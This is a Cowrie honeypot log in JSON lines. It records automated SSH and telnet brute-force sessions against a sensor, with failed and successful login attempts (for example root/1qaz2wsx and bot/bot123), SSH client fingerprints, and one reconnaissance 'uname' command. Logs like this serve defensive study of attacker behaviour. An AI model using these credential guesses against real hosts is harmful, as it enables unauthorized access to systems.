{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:43.829437Z","src_ip":"62.133.62.83","session":"67a3711d60fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50476,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8db68f64797","protocol":"ssh","message":"New connection: 192.109.200.237:50476 (159.203.135.109:22) [session: f8db68f64797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:43.861282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:43.866297Z","src_ip":"192.109.200.237","session":"f8db68f64797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:43.948447Z","src_ip":"192.109.200.237","session":"f8db68f64797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:44.078281Z","src_ip":"62.133.62.83","session":"67a3711d60fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:44.192349Z","src_ip":"192.109.200.237","session":"f8db68f64797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57822,"dst_ip":"10.17.0.5","dst_port":23,"session":"4940cc2c9816","protocol":"telnet","message":"New connection: 50.6.8.71:57822 (10.17.0.5:23) [session: 4940cc2c9816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:44.628502Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:45.165025Z","src_ip":"62.133.62.83","session":"67a3711d60fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:45.275620Z","src_ip":"192.109.200.237","session":"f8db68f64797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50498,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4a5e5ee8777","protocol":"ssh","message":"New connection: 192.109.200.237:50498 (159.203.135.109:22) [session: c4a5e5ee8777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:47.247343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:47.251798Z","src_ip":"192.109.200.237","session":"c4a5e5ee8777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:47.333942Z","src_ip":"192.109.200.237","session":"c4a5e5ee8777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:47.580544Z","src_ip":"192.109.200.237","session":"c4a5e5ee8777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:48.732299Z","src_ip":"192.109.200.237","session":"c4a5e5ee8777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53254,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8e4abb2040c","protocol":"ssh","message":"New connection: 192.109.200.237:53254 (159.203.135.109:22) [session: a8e4abb2040c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:50.489730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:50.494795Z","src_ip":"192.109.200.237","session":"a8e4abb2040c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:50.576562Z","src_ip":"192.109.200.237","session":"a8e4abb2040c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:50.927909Z","src_ip":"192.109.200.237","session":"a8e4abb2040c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:52.014651Z","src_ip":"192.109.200.237","session":"a8e4abb2040c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53264,"dst_ip":"159.203.135.109","dst_port":22,"session":"56ffe9ccefbe","protocol":"ssh","message":"New connection: 192.109.200.237:53264 (159.203.135.109:22) [session: 56ffe9ccefbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:53.792741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:53.797620Z","src_ip":"192.109.200.237","session":"56ffe9ccefbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:53.879690Z","src_ip":"192.109.200.237","session":"56ffe9ccefbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:54.125585Z","src_ip":"192.109.200.237","session":"56ffe9ccefbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:55.212382Z","src_ip":"192.109.200.237","session":"56ffe9ccefbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53274,"dst_ip":"159.203.135.109","dst_port":22,"session":"de801db5fc11","protocol":"ssh","message":"New connection: 192.109.200.237:53274 (159.203.135.109:22) [session: de801db5fc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:56.981255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:56.986332Z","src_ip":"192.109.200.237","session":"de801db5fc11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:57.071723Z","src_ip":"192.109.200.237","session":"de801db5fc11","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:57.318226Z","src_ip":"192.109.200.237","session":"de801db5fc11","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:57.532041Z","src_ip":"192.109.200.237","session":"de801db5fc11","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:57.534797Z","src_ip":"192.109.200.237","session":"de801db5fc11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59662,"dst_ip":"10.17.0.5","dst_port":23,"session":"c919c7b9e7f7","protocol":"telnet","message":"New connection: 50.6.8.71:59662 (10.17.0.5:23) [session: c919c7b9e7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:57.540051Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:57.619420Z","src_ip":"192.109.200.237","session":"de801db5fc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:57.625175Z","src_ip":"192.109.200.237","session":"de801db5fc11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49446,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa22ad448f0a","protocol":"ssh","message":"New connection: 192.109.200.237:49446 (159.203.135.109:22) [session: aa22ad448f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:00.190445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:00.195846Z","src_ip":"192.109.200.237","session":"aa22ad448f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:00.278311Z","src_ip":"192.109.200.237","session":"aa22ad448f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:00.608307Z","src_ip":"192.109.200.237","session":"aa22ad448f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:01.694875Z","src_ip":"192.109.200.237","session":"aa22ad448f0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49476,"dst_ip":"159.203.135.109","dst_port":22,"session":"47556e49e086","protocol":"ssh","message":"New connection: 192.109.200.237:49476 (159.203.135.109:22) [session: 47556e49e086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:03.627522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:03.636252Z","src_ip":"192.109.200.237","session":"47556e49e086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:03.721328Z","src_ip":"192.109.200.237","session":"47556e49e086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:03.973277Z","src_ip":"192.109.200.237","session":"47556e49e086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.29921865463257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:04.051648Z","src_ip":"50.6.8.71","session":"0991933b5bee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:05.061854Z","src_ip":"192.109.200.237","session":"47556e49e086","protocol":"ssh"}
